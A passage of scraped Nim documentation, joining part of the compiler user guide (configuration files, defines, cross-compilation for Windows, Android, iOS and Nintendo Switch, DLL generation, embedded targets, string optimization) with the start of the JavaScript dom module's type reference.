| | QuitCalled | | | Source | The source line that triggered a diagnostic message. | | StackTrace | | | Success, SuccessX | Successful compilation of a library or a binary. | | User | | | UserRaw | | | XDeclaredButNotUsed | Unused symbols in the code. | ### Verbosity levels | Level | Description | | --- | --- | | 0 | Minimal output level for the compiler. | | 1 | Displays compilation of all the compiled files, including those imported by other modules or through the [compile pragma](manual#implementation-specific-pragmas-compile-pragma). This is the default level. | | 2 | Displays compilation statistics, enumerates the dynamic libraries that will be loaded by the final binary, and dumps to standard output the result of applying [a filter to the source code](filters) if any filter was used during compilation. | | 3 | In addition to the previous levels dumps a debug stack trace for compiler developers. | ### Compile-time symbols Through the `-d:x` or `--define:x` switch you can define compile-time symbols for conditional compilation. The defined switches can be checked in source code with the [when statement](manual#statements-and-expressions-when-statement) and [defined proc](system#defined,untyped). The typical use of this switch is to enable builds in release mode (`-d:release`) where optimizations are enabled for better performance. Another common use is the `-d:ssl` switch to activate SSL sockets. Additionally, you may pass a value along with the symbol: `-d:x=y` which may be used in conjunction with the [compile-time define pragmas](manual#implementation-specific-pragmas-compileminustime-define-pragmas) to override symbols during build time. Compile-time symbols are completely **case insensitive** and underscores are ignored too. `--define:FOO` and `--define:foo` are identical. Compile-time symbols starting with the `nim` prefix are reserved for the implementation and should not be used elsewhere. ### Configuration files **Note:** The *project file name* is the name of the `.nim` file that is passed as a command-line argument to the compiler. The `nim` executable processes configuration files in the following directories (in this order; later files overwrite previous settings): 1. `$nim/config/nim.cfg`, `/etc/nim/nim.cfg` (UNIX) or `<Nim's installation directory>\config\nim.cfg` (Windows). This file can be skipped with the `--skipCfg` command line option. 2. If environment variable `XDG_CONFIG_HOME` is defined, `$XDG_CONFIG_HOME/nim/nim.cfg` or `~/.config/nim/nim.cfg` (POSIX) or `%APPDATA%/nim/nim.cfg` (Windows). This file can be skipped with the `--skipUserCfg` command line option. 3. `$parentDir/nim.cfg` where `$parentDir` stands for any parent directory of the project file's path. These files can be skipped with the `--skipParentCfg` command-line option. 4. `$projectDir/nim.cfg` where `$projectDir` stands for the project file's path. This file can be skipped with the `--skipProjCfg` command-line option. 5. A project can also have a project-specific configuration file named `$project.nim.cfg` that resides in the same directory as `$project.nim`. This file can be skipped with the `--skipProjCfg` command-line option. Command-line settings have priority over configuration file settings. The default build of a project is a debug build. To compile a release build define the `release` symbol: ``` nim c -d:release myproject.nim ``` > > To compile a dangerous release build define the `danger` symbol: > > > > ``` > nim c -d:danger myproject.nim > ``` > ### Search path handling Nim has the concept of a global search path (PATH) that is queried to determine where to find imported modules or include files. If multiple files are found an ambiguity error is produced. `nim dump` shows the contents of the PATH. However before the PATH is used the current directory is checked for the file's existence. So if PATH contains `$lib` and `$lib/bar` and the directory structure looks like this: ``` $lib/x.nim $lib/bar/x.nim foo/x.nim foo/main.nim other.nim ``` And `main` imports `x`, `foo/x` is imported. If `other` imports `x` then both `$lib/x.nim` and `$lib/bar/x.nim` match but `$lib/x.nim` is used as it is the first match. ### Generated C code directory The generated files that Nim produces all go into a subdirectory called `nimcache`. Its full path is * `$XDG_CACHE_HOME/nim/$projectname(_r|_d)` or `~/.cache/nim/$projectname(_r|_d)` on Posix * `$HOME/nimcache/$projectname(_r|_d)` on Windows. The `_r` suffix is used for release builds, `_d` is for debug builds. This makes it easy to delete all generated files. The `--nimcache` [compiler switch](#compiler-usage-commandminusline-switches) can be used to to change the `nimcache` directory. However, the generated C code is not platform-independent. C code generated for Linux does not compile on Windows, for instance. The comment on top of the C file lists the OS, CPU, and CC the file has been compiled for. Compiler Selection ------------------ To change the compiler from the default compiler (at the command line): ``` nim c --cc:llvm_gcc --compile_only myfile.nim ``` This uses the configuration defined in `config\nim.cfg` for `lvm_gcc`. If nimcache already contains compiled code from a different compiler for the same project, add the `-f` flag to force all files to be recompiled. The default compiler is defined at the top of `config\nim.cfg`. Changing this setting affects the compiler used by `koch` to (re)build Nim. To use the `CC` environment variable, use `nim c --cc:env myfile.nim`. To use the `CXX` environment variable, use `nim cpp --cc:env myfile.nim`. `--cc:env` is available since Nim version 1.4. Cross-compilation ----------------- To cross compile, use for example: ``` nim c --cpu:i386 --os:linux --compileOnly --genScript myproject.nim ``` Then move the C code and the compile script `compile_myproject.sh` to your Linux i386 machine and run the script. Another way is to make Nim invoke a cross compiler toolchain: ``` nim c --cpu:arm --os:linux myproject.nim ``` For cross compilation, the compiler invokes a C compiler named like `$cpu.$os.$cc` (for example arm.linux.gcc) and the configuration system is used to provide meaningful defaults. For example for `ARM` your configuration file should contain something like: ``` arm.linux.gcc.path = "/usr/bin" arm.linux.gcc.exe = "arm-linux-gcc" arm.linux.gcc.linkerexe = "arm-linux-gcc" ``` Cross-compilation for Windows ----------------------------- To cross-compile for Windows from Linux or macOS using the MinGW-w64 toolchain: ``` nim c -d:mingw myproject.nim ``` Use `--cpu:i386` or `--cpu:amd64` to switch the CPU architecture. The MinGW-w64 toolchain can be installed as follows: ``` Ubuntu: apt install mingw-w64 CentOS: yum install mingw32-gcc | mingw64-gcc - requires EPEL OSX: brew install mingw-w64 ``` Cross-compilation for Android ----------------------------- There are two ways to compile for Android: terminal programs (Termux) and with the NDK (Android Native Development Kit). The first one is to treat Android as a simple Linux and use [Termux](https://wiki.termux.com) to connect and run the Nim compiler directly on android as if it was Linux. These programs are console-only programs that can't be distributed in the Play Store. Use regular `nim c` inside termux to make Android terminal programs. Normal Android apps are written in Java, to use Nim inside an Android app you need a small Java stub that calls out to a native library written in Nim using the [NDK](https://developer.android.com/ndk). You can also use [native-activity](https://developer.android.com/ndk/samples/sample_na) to have the Java stub be auto-generated for you. Use `nim c -c --cpu:arm --os:android -d:androidNDK --noMain:on` to generate the C source files you need to include in your Android Studio project. Add the generated C files to CMake build script in your Android project. Then do the final compile with Android Studio which uses Gradle to call CMake to compile the project. Because Nim is part of a library it can't have its own c style `main()` so you would need to define your own `android_main` and init the Java environment, or use a library like SDL2 or GLFM to do it. After the Android stuff is done, it's very important to call `NimMain()` in order to initialize Nim's garbage collector and to run the top level statements of your program. ``` proc NimMain() {.importc.} proc glfmMain*(display: ptr GLFMDisplay) {.exportc.} = NimMain() # initialize garbage collector memory, types and stack ``` Cross-compilation for iOS ------------------------- To cross-compile for iOS you need to be on a macOS computer and use XCode. Normal languages for iOS development are Swift and Objective C. Both of these use LLVM and can be compiled into object files linked together with C, C++ or Objective C code produced by Nim. Use `nim c -c --os:ios --noMain:on` to generate C files and include them in your XCode project. Then you can use XCode to compile, link, package and sign everything. Because Nim is part of a library it can't have its own c style `main()` so you would need to define `main` that calls `autoreleasepool` and `UIApplicationMain` to do it, or use a library like SDL2 or GLFM. After the iOS setup is done, it's very important to call `NimMain()` to initialize Nim's garbage collector and to run the top-level statements of your program. ``` proc NimMain() {.importc.} proc glfmMain*(display: ptr GLFMDisplay) {.exportc.} = NimMain() # initialize garbage collector memory, types and stack ``` Note: XCode's "make clean" gets confused about the generated nim.c files, so you need to clean those files manually to do a clean build. Cross-compilation for Nintendo Switch ------------------------------------- Simply add --os:nintendoswitch to your usual `nim c` or `nim cpp` command and set the `passC` and `passL` command line switches to something like: ``` nim c ... --passC="-I$DEVKITPRO/libnx/include" ... --passL="-specs=$DEVKITPRO/libnx/switch.specs -L$DEVKITPRO/libnx/lib -lnx" ``` or setup a nim.cfg file like so: ``` #nim.cfg --passC="-I$DEVKITPRO/libnx/include" --passL="-specs=$DEVKITPRO/libnx/switch.specs -L$DEVKITPRO/libnx/lib -lnx" ``` The DevkitPro setup must be the same as the default with their new installer [here for Mac/Linux](https://github.com/devkitPro/pacman/releases) or [here for Windows](https://github.com/devkitPro/installer/releases). For example, with the above-mentioned config: ``` nim c --os:nintendoswitch switchhomebrew.nim ``` This will generate a file called `switchhomebrew.elf` which can then be turned into an nro file with the `elf2nro` tool in the DevkitPro release. Examples can be found at [the nim-libnx github repo](https://github.com/jyapayne/nim-libnx.git). There are a few things that don't work because the DevkitPro libraries don't support them. They are: 1. Waiting for a subprocess to finish. A subprocess can be started, but right now it can't be waited on, which sort of makes subprocesses a bit hard to use 2. Dynamic calls. DevkitPro libraries have no dlopen/dlclose functions. 3. Command line parameters. It doesn't make sense to have these for a console anyways, so no big deal here. 4. mqueue. Sadly there are no mqueue headers. 5. ucontext. No headers for these either. No coroutines for now :( 6. nl\_types. No headers for this. DLL generation -------------- Nim supports the generation of DLLs. However, there must be only one instance of the GC per process/address space. This instance is contained in `nimrtl.dll`. This means that every generated Nim DLL depends on `nimrtl.dll`. To generate the "nimrtl.dll" file, use the command: ``` nim c -d:release lib/nimrtl.nim ``` To link against `nimrtl.dll` use the command: ``` nim c -d:useNimRtl myprog.nim ``` **Note**: Currently the creation of `nimrtl.dll` with thread support has never been tested and is unlikely to work! Additional compilation switches ------------------------------- The standard library supports a growing number of `useX` conditional defines affecting how some features are implemented. This section tries to give a complete list. | Define | Effect | | --- | --- | | `release` | Turns on the optimizer. More aggressive optimizations are possible, e.g.: `--passC:-ffast-math` (but see issue #10305) | | `danger` | Turns off all runtime checks and turns on the optimizer. | | `useFork` | Makes `osproc` use `fork` instead of `posix_spawn`. | | `useNimRtl` | Compile and link against `nimrtl.dll`. | | `useMalloc` | Makes Nim use C's malloc instead of Nim's own memory manager, albeit prefixing each allocation with its size to support clearing memory on reallocation. This only works with `gc:none` and with `--newruntime`. | | `useRealtimeGC` | Enables support of Nim's GC for *soft* realtime systems. See the documentation of the <gc> for further information. | | `logGC` | Enable GC logging to stdout. | | `nodejs` | The JS target is actually `node.js`. | | `ssl` | Enables OpenSSL support for the sockets module. | | `memProfiler` | Enables memory profiling for the native GC. | | `uClibc` | Use uClibc instead of libc. (Relevant for Unix-like OSes) | | `checkAbi` | When using types from C headers, add checks that compare what's in the Nim file with what's in the C header. This may become enabled by default in the future. | | `tempDir` | This symbol takes a string as its value, like `--define:tempDir:/some/temp/path` to override the temporary directory returned by `os.getTempDir()`. The value **should** end with a directory separator character. (Relevant for the Android platform) | | `useShPath` | This symbol takes a string as its value, like `--define:useShPath:/opt/sh/bin/sh` to override the path for the `sh` binary, in cases where it is not located in the default location `/bin/sh`. | | `noSignalHandler` | Disable the crash handler from `system.nim`. | | `globalSymbols` | Load all `{.dynlib.}` libraries with the `RTLD_GLOBAL` flag on Posix systems to resolve symbols in subsequently loaded libraries. | Additional Features ------------------- This section describes Nim's additional features that are not listed in the Nim manual. Some of the features here only make sense for the C code generator and are subject to change. ### LineDir option The `lineDir` option can be turned on or off. If turned on the generated C code contains `#line` directives. This may be helpful for debugging with GDB. ### StackTrace option If the `stackTrace` option is turned on, the generated C contains code to ensure that proper stack traces are given if the program crashes or some uncaught exception is raised. ### LineTrace option The `lineTrace` option implies the `stackTrace` option. If turned on, the generated C contains code to ensure that proper stack traces with line number information are given if the program crashes or an uncaught exception is raised. DynlibOverride -------------- By default Nim's `dynlib` pragma causes the compiler to generate `GetProcAddress` (or their Unix counterparts) calls to bind to a DLL. With the `dynlibOverride` command line switch this can be prevented and then via `--passL` the static library can be linked against. For instance, to link statically against Lua this command might work on Linux: ``` nim c --dynlibOverride:lua --passL:liblua.lib program.nim ``` Backend language options ------------------------ The typical compiler usage involves using the `compile` or `c` command to transform a `.nim` file into one or more `.c` files which are then compiled with the platform's C compiler into a static binary. However, there are other commands to compile to C++, Objective-C, or JavaScript. More details can be read in the [Nim Backend Integration document](backends). Nim documentation tools ----------------------- Nim provides the doc command to generate HTML documentation from `.nim` source files. Only exported symbols will appear in the output. For more details [see the docgen documentation](https://nim-lang.org/docs/docgen.html). Nim idetools integration ------------------------ Nim provides language integration with external IDEs through the idetools command. See the documentation of <idetools> for further information. Nim for embedded systems ------------------------ While the default Nim configuration is targeted for optimal performance on modern PC hardware and operating systems with ample memory, it is very well possible to run Nim code and a good part of the Nim standard libraries on small embedded microprocessors with only a few kilobytes of memory. A good start is to use the `any` operating target together with the `malloc` memory allocator and the `arc` garbage collector. For example: `nim c --os:any --gc:arc -d:useMalloc [...] x.nim` * `--gc:arc` will enable the reference counting memory management instead of the default garbage collector. This enables Nim to use heap memory which is required for strings and seqs, for example. * The `--os:any` target makes sure Nim does not depend on any specific operating system primitives. Your platform should support only some basic ANSI C library `stdlib` and `stdio` functions which should be available on almost any platform. * The `-d:useMalloc` option configures Nim to use only the standard C memory manage primitives `malloc()`, `free()`, `realloc()`. If your platform does not provide these functions it should be trivial to provide an implementation for them and link these to your program. For targets with very restricted memory, it might be beneficial to pass some additional flags to both the Nim compiler and the C compiler and/or linker to optimize the build for size. For example, the following flags can be used when targeting a gcc compiler: `--opt:size --passC:-flto --passL:-flto` The `--opt:size` flag instructs Nim to optimize code generation for small size (with the help of the C compiler), the `flto` flags enable link-time optimization in the compiler and linker. Check the `Cross-compilation` section for instructions on how to compile the program for your target. Nim for realtime systems ------------------------ See the documentation of Nim's soft realtime [GC](gc) for further information. Signal handling in Nim ---------------------- The Nim programming language has no concept of Posix's signal handling mechanisms. However, the standard library offers some rudimentary support for signal handling, in particular, segmentation faults are turned into fatal errors that produce a stack trace. This can be disabled with the `-d:noSignalHandler` switch. Optimizing for Nim ------------------ Nim has no separate optimizer, but the C code that is produced is very efficient. Most C compilers have excellent optimizers, so usually it is not needed to optimize one's code. Nim has been designed to encourage efficient code: The most readable code in Nim is often the most efficient too. However, sometimes one has to optimize. Do it in the following order: 1. switch off the embedded debugger (it is **slow**!) 2. turn on the optimizer and turn off runtime checks 3. profile your code to find where the bottlenecks are 4. try to find a better algorithm 5. do low-level optimizations This section can only help you with the last item. ### Optimizing string handling String assignments are sometimes expensive in Nim: They are required to copy the whole string. However, the compiler is often smart enough to not copy strings. Due to the argument passing semantics, strings are never copied when passed to subroutines. The compiler does not copy strings that are a result of a procedure call, because the callee returns a new string anyway. Thus it is efficient to do: ``` var s = procA() # assignment will not copy the string; procA allocates a new # string already ``` However, it is not efficient to do: ``` var s = varA # assignment has to copy the whole string into a new buffer! ``` For `let` symbols a copy is not always necessary: ``` let s = varA # may only copy a pointer if it safe to do so ``` If you know what you're doing, you can also mark single-string (or sequence) objects as shallow: ``` var s = "abc" shallow(s) # mark 's' as a shallow string var x = s # now might not copy the string! ``` Usage of `shallow` is always safe once you know the string won't be modified anymore, similar to Ruby's freeze. The compiler optimizes string case statements: A hashing scheme is used for them if several different string constants are used. So code like this is reasonably efficient: ``` case normalize(k.key) of "name": c.name = v of "displayname": c.displayName = v of "version": c.version = v of "os": c.oses = split(v, {';'}) of "cpu": c.cpus = split(v, {';'}) of "authors": c.authors = split(v, {';'}) of "description": c.description = v of "app": case normalize(v) of "console": c.app = appConsole of "gui": c.app = appGUI else: quit(errorStr(p, "expected: console or gui")) of "license": c.license = UnixToNativePath(k.value) else: quit(errorStr(p, "unknown variable: " & k.key)) ```
programming_docs
nim dom dom === Declaration of the Document Object Model for the [JavaScript backend](backends#backends-the-javascript-target). Imports ------- <since> Types ----- ``` EventTarget = ref EventTargetObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L20) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L20) ``` DomEvent {...}{.pure.} = enum Abort = "abort", BeforeInput = "beforeinput", Blur = "blur", Click = "click", CompositionEnd = "compositionend", CompositionStart = "compositionstart", CompositionUpdate = "compositionupdate", DblClick = "dblclick", Error = "error", Focus = "focus", FocusIn = "focusin", FocusOut = "focusout", Input = "input", KeyDown = "keydown", KeyPress = "keypress", KeyUp = "keyup", Load = "load", MouseDown = "mousedown", MouseEnter = "mouseenter", MouseLeave = "mouseleave", MouseMove = "mousemove", MouseOut = "mouseout", MouseOver = "mouseover", MouseUp = "mouseup", Resize = "resize", Scroll = "scroll", Select = "select", Unload = "unload", Wheel = "wheel" ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/Events) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L46) ``` PerformanceMemory {...}{.importc.} = ref object jsHeapSizeLimit*: float totalJSHeapSize*: float usedJSHeapSize*: float ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L78) ``` PerformanceTiming {...}{.importc.} = ref object connectStart*: float domComplete*: float domContentLoadedEventEnd*: float domContentLoadedEventStart*: float domInteractive*: float domLoading*: float domainLookupEnd*: float domainLookupStart*: float fetchStart*: float loadEventEnd*: float loadEventStart*: float navigationStart*: float redirectEnd*: float redirectStart*: float requestStart*: float responseEnd*: float responseStart*: float secureConnectionStart*: float unloadEventEnd*: float unloadEventStart*: float ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L83) ``` Performance {...}{.importc.} = ref object memory*: PerformanceMemory timing*: PerformanceTiming ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L105) ``` Range {...}{.importc.} = ref object collapsed*: bool commonAncestorContainer*: Node endContainer*: Node endOffset*: int startContainer*: Node startOffset*: int ``` see [docs{https://developer.mozilla.org/en-US/docs/Web/API/Range}](#docs-httpscolonslashslashdeveloperdotmozilladotorgslashenminususslashdocsslashwebslashapislashrange) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L109) ``` Selection {...}{.importc.} = ref object anchorNode*: Node anchorOffset*: int focusNode*: Node focusOffset*: int isCollapsed*: bool rangeCount*: int `type`*: cstring ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/Selection) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L118) ``` LocalStorage {...}{.importc.} = ref object ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L128) ``` Window = ref WindowObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L130) ``` Frame = ref FrameObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L159) ``` ClassList = ref ClassListObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L162) ``` NodeType = enum ElementNode = 1, AttributeNode, TextNode, CDATANode, EntityRefNode, EntityNode, ProcessingInstructionNode, CommentNode, DocumentNode, DocumentTypeNode, DocumentFragmentNode, NotationNode ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L165) ``` Node = ref NodeObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L179) ``` Document = ref DocumentObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L204) ``` Element = ref ElementObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L230) ``` ValidityState = ref ValidityStateObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L252) ``` Blob = ref BlobObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/Blob) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L266) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L266) ``` File = ref FileObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/File) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L271) ``` TextAreaElement = ref TextAreaElementObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/HTMLTextAreaElement) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L276) ``` InputElement = ref InputElementObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L283) ``` LinkElement = ref LinkObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L336) ``` EmbedElement = ref EmbedObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L343) ``` AnchorElement = ref AnchorObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L352) ``` OptionElement = ref OptionObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L357) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L357) ``` FormElement = ref FormObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L365) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L365) ``` ImageElement = ref ImageObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L378) ``` Style = ref StyleObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L389) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L389) ``` EventPhase = enum None = 0, CapturingPhase, AtTarget, BubblingPhase ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L760) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L760) ``` Event = ref EventObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/Event) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L766) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L766) ``` UIEvent = ref UIEventObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/UIEvent) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L779) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L779) ``` KeyboardEvent = ref KeyboardEventObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L784) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L784) ``` KeyboardEventKey {...}{.pure.} = enum Alt, AltGraph, CapsLock, Control, Fn, FnLock, Hyper, Meta, NumLock, ScrollLock, Shift, Super, Symbol, SymbolLock, ArrowDown, ArrowLeft, ArrowRight, ArrowUp, End, Home, PageDown, PageUp, Backspace, Clear, Copy, CrSel, Cut, Delete, EraseEof, ExSel, Insert, Paste, Redo, Undo, Accept, Again, Attn, Cancel, ContextMenu, Escape, Execute, Find, Finish, Help, Pause, Play, Props, Select, ZoomIn, ZoomOut, BrigtnessDown, BrigtnessUp, Eject, LogOff, Power, PowerOff, PrintScreen, Hibernate, Standby, WakeUp, AllCandidates, Alphanumeric, CodeInput, Compose, Convert, Dead, FinalMode, GroupFirst, GroupLast, GroupNext, GroupPrevious, ModeChange, NextCandidate, NonConvert, PreviousCandidate, Process, SingleCandidate, HangulMode, HanjaMode, JunjaMode, Eisu, Hankaku, Hiragana, HiraganaKatakana, KanaMode, KanjiMode, Katakana, Romaji, Zenkaku, ZenkakuHanaku, F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12, F13, F14, F15, F16, F17, F18, F19, F20, Soft1, Soft2, Soft3, Soft4, AppSwitch, Call, Camera, CameraFocus, EndCall, GoBack, GoHome, HeadsetHook, LastNumberRedial, Notification, MannerMode, VoiceDial, ChannelDown, ChannelUp, MediaFastForward, MediaPause, MediaPlay, MediaPlayPause, MediaRecord, MediaRewind, MediaStop, MediaTrackNext, MediaTrackPrevious, AudioBalanceLeft, AudioBalanceRight, AudioBassDown, AudioBassBoostDown, AudioBassBoostToggle, AudioBassBoostUp, AudioBassUp, AudioFaderFront, AudioFaderRear, AudioSurroundModeNext, AudioTrebleDown, AudioTrebleUp, AudioVolumeDown, AUdioVolumeMute, AudioVolumeUp, MicrophoneToggle, MicrophoneVolumeDown, MicrophoneVolumeMute, MicrophoneVolumeUp, TV, TV3DMode, TVAntennaCable, TVAudioDescription, TVAudioDescriptionMixDown, TVAudioDescriptionMixUp, TVContentsMenu, TVDataService, TVInput, TVInputComponent1, TVInputComponent2, TVInputComposite1, TVInputComposite2, TVInputHDMI1, TVInputHDMI2, TVInputHDMI3, TVInputHDMI4, TVInputVGA1, TVMediaContext, TVNetwork, TVNumberEntry, TVPower, TVRadioService, TVSatellite, TVSatelliteBS, TVSatelliteCS, TVSatelliteToggle, TVTerrestrialAnalog, TVTerrestrialDigital, TVTimer, AVRInput, AVRPower, ColorF0Red, ColorF1Green, ColorF2Yellow, ColorF3Blue, ColorF4Grey, ColorF5Brown, ClosedCaptionToggle, Dimmer, DisplaySwap, DVR, Exit, FavoriteClear0, FavoriteClear1, FavoriteClear2, FavoriteClear3, FavoriteRecall0, FavoriteRecall1, FavoriteRecall2, FavoriteRecall3, FavoriteStore0, FavoriteStore1, FavoriteStore2, FavoriteStore3, Guide, GuideNextDay, GuidePreviousDay, Info, InstantReplay, Link, ListProgram, LiveContent, Lock, MediaApps, MediaAudioTrack, MediaLast, MediaSkipBackward, MediaSkipForward, MediaStepBackward, MediaStepForward, MediaTopMenu, NavigateIn, NavigateNext, NavigateOut, NavigatePrevious, NextFavoriteChannel, NextUserProfile, OnDemand, Pairing, PinPDown, PinPMove, PinPUp, PlaySpeedDown, PlaySpeedReset, PlaySpeedUp, RandomToggle, RcLowBattery, RecordSpeedNext, RfBypass, ScanChannelsToggle, ScreenModeNext, Settings, SplitScreenToggle, STBInput, STBPower, Subtitle, Teletext, VideoModeNext, Wink, ZoomToggle, SpeechCorrectionList, SpeechInputToggle, Close, New, Open, Print, Save, SpellCheck, MailForward, MailReply, MailSend, LaunchCalculator, LaunchCalendar, LaunchContacts, LaunchMail, LaunchMediaPlayer, LaunchMusicPlayer, LaunchMyComputer, LaunchPhone, LaunchScreenSaver, LaunchSpreadsheet, LaunchWebBrowser, LaunchWebCam, LaunchWordProcessor, LaunchApplication1, LaunchApplication2, LaunchApplication3, LaunchApplication4, LaunchApplication5, LaunchApplication6, LaunchApplication7, LaunchApplication8, LaunchApplication9, LaunchApplication10, LaunchApplication11, LaunchApplication12, LaunchApplication13, LaunchApplication14, LaunchApplication15, LaunchApplication16, BrowserBack, BrowserFavorites, BrowserForward, BrowserHome, BrowserRefresh, BrowserSearch, BrowserStop, Key11, Key12, Separator ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L793) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L793) ``` MouseButtons = enum NoButton = 0, PrimaryButton = 1, SecondaryButton = 2, AuxilaryButton = 4, FourthButton = 8, FifthButton = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1139) ``` MouseEvent = ref MouseEventObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1147) ``` DataTransferItemKind {...}{.pure.} = enum File = "file", String = "string" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1161) ``` DataTransferItem = ref DataTransferItemObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/DataTransferItem) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1165) ``` DataTransfer = ref DataTransferObj ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/DataTransfer) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1170) ``` DataTransferDropEffect {...}{.pure.} = enum None = "none", Copy = "copy", Link = "link", Move = "move" 